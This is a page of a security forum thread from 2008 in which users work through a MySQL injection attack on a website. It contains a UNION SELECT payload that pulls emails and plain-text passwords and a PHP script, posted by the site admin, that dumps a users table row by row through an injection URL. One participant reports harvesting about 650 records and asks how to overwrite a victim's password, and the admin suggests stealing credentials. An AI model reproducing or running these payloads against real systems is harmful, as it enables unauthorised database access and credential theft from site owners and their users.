Waraxe IT Security Portal
Login or Register
November 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 102
Members: 0
Total: 102
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> MySQL injection problem Goto page Previous1, 2, 3
Post new topicReply to topic View previous topic :: View next topic
PostPosted: Sat Feb 09, 2008 7:09 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




gtal3x wrote:
why not do it str8?
Code:
UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,CONCAT_WS(CHAR(58),mail,password)+FROM+Users/*


btw i think the best thing to do is just to dump the sql file, so u have all the emails and password, i guess u r lucky the passwords are plain text?


Yes the passwords are plain text. How can i dump the file?
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 8:33 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Here is my sample script for database table dumping:

Code:

<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////
$out_file = './out.txt';
$row_count = 2640;
$url_pattern = 'http://target.com/?id=0+UNION+ALL+SELECT+1,2,3,CONCAT(0x5e5e5e,username,0x7c,pass,0x7c,email,0x7c,firstname,0x7c,lastname,0x5e5e5e),8,9+FROM+users+LIMIT+%d,1/*';

////////////////////////////////////////////////////////
for($i = 0; $i < $row_count; $i ++)
{
$url = sprintf($url_pattern, $i);
$buff = file_get_contents($url);
$arr = explode('^^^', $buff);
$line = @trim($arr[1]);
echo "$i--$line--\n";
if(strpos($line, '|') !== false)
{
$line2 = "$i|$line\n";
add_line($line2);
}
}

die("\n\nWork finished!");
/////////////////////////////////////////////////////
function add_line($line)
{
global $out_file;

$fh = fopen($out_file, 'ab');
fwrite($fh, $line);
fclose($fh);

return;
}
?>


You must first modify script, so that expected row count and target url will match the needed values.
And please be extra careful with "%d" in LIMIT clause - it must be in right place!
Feedback is welcome - if any problems should occur, let me know Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 8:53 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




tnx Very Happy

I will make the changes as soon as possible to get it to work.

One more thing. I want to change the password of a record and I try this code
Code:
...sin.php?blaID=-60;+UPDATE+table_name+SET+password=0x3131313131+WHERE+column_name+LIKE+0xblablahex/*


but it seems to be a syntax error...
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 9:01 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Panic_Mode wrote:
tnx Very Happy

I will make the changes as soon as possible to get it to work.

One more thing. I want to change the password of a record and I try this code
Code:
...sin.php?blaID=-60;+UPDATE+table_name+SET+password=0x3131313131+WHERE+column_name+LIKE+0xblablahex/*


but it seems to be a syntax error...


Nop, you can't concatenate multiple queries in mysq/php platform.
Update is possible, if you find sql injection in UPDATE query. Or you have php code execution level. Or you will find PhpMyAdmin interface and get logged in. Or steal credentials, log in as admin or user and change data from user/admin interface Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 9:11 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




hmm with the passwords I got I can login to the user's panel and get in a page to change some personal information about them (name etc) by using a form, but it doesn't give me the option tou change password. Is there a way to submit update query with the help of that page?
View user's profile Send private message
PostPosted: Sun Feb 10, 2008 3:24 am Reply with quote
gtal3x
Active user
Active user
Joined: Dec 03, 2007
Posts: 33
Location: Ukraine




waraxe for some reason your script doest work for me, it runs ok, but doesnt save anything in out.txt, the script is easy but i am not good with files functions Cool... Basicly it looks strange to me that you have die() before writing the file, i changed it, puted the die() in the end, but still the file comes up empty in the end...
View user's profile Send private message
PostPosted: Sun Feb 10, 2008 4:30 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




gtal3x wrote:
waraxe for some reason your script doest work for me, it runs ok, but doesnt save anything in out.txt, the script is easy but i am not good with files functions Cool... Basicly it looks strange to me that you have die() before writing the file, i changed it, puted the die() in the end, but still the file comes up empty in the end...


Did you use php CLI? From command prompt? Did you saw any error messages? About failed file opening? I suggest to define outfile by full path, or just try without "./", because with "./" CWD (current working directory) is what matters and this can be the problem - file can be written to some other place then expected Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Feb 10, 2008 5:09 am Reply with quote
gtal3x
Active user
Active user
Joined: Dec 03, 2007
Posts: 33
Location: Ukraine




Code:
C:\AppServ\www>php test.p
0----
1----


Work finished!
Thats what i did, no error at all, but nothing in out.txt, btw tryed on linux is well...
View user's profile Send private message
PostPosted: Sun Feb 10, 2008 10:52 am Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




Btw waraxe your script worked fine (took about 650 records Razz) tnx mate! Very Happy

I runned it on apache with php 4.x - 5.x support in my machine.
Maybe you wanna test xampp gtal3x (that's the packet I use)
Code:
http://www.apachefriends.org/en/xampp.html
View user's profile Send private message
PostPosted: Sun Feb 10, 2008 10:57 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




gtal3x wrote:
Code:
C:\AppServ\www>php test.p
0----
1----


Work finished!
Thats what i did, no error at all, but nothing in out.txt, btw tryed on linux is well...


How can it be, that such simple script is not working in your PC? Try to write some test script with couple of code lines and test for file writing.

And one more thing - try phpinfo() and look for "display_errors" settings! Maybe it's "off". If its off, then turn it on in script's first lines. With "display_errors=Off" you can't see error messages, including file opening errors!
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Feb 10, 2008 10:58 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Panic_Mode wrote:
Btw waraxe your script worked fine (took about 650 records Razz) tnx mate! Very Happy

I runned it on apache with php 4.x - 5.x support in my machine.
Maybe you wanna test xampp gtal3x (that's the packet I use)
Code:
http://www.apachefriends.org/en/xampp.html


Glad to hear, that script worked Smile
View user's profile Send private message Send e-mail Visit poster's website
MySQL injection problem
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 3 of 3
Goto page Previous1, 2, 3
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.051 Seconds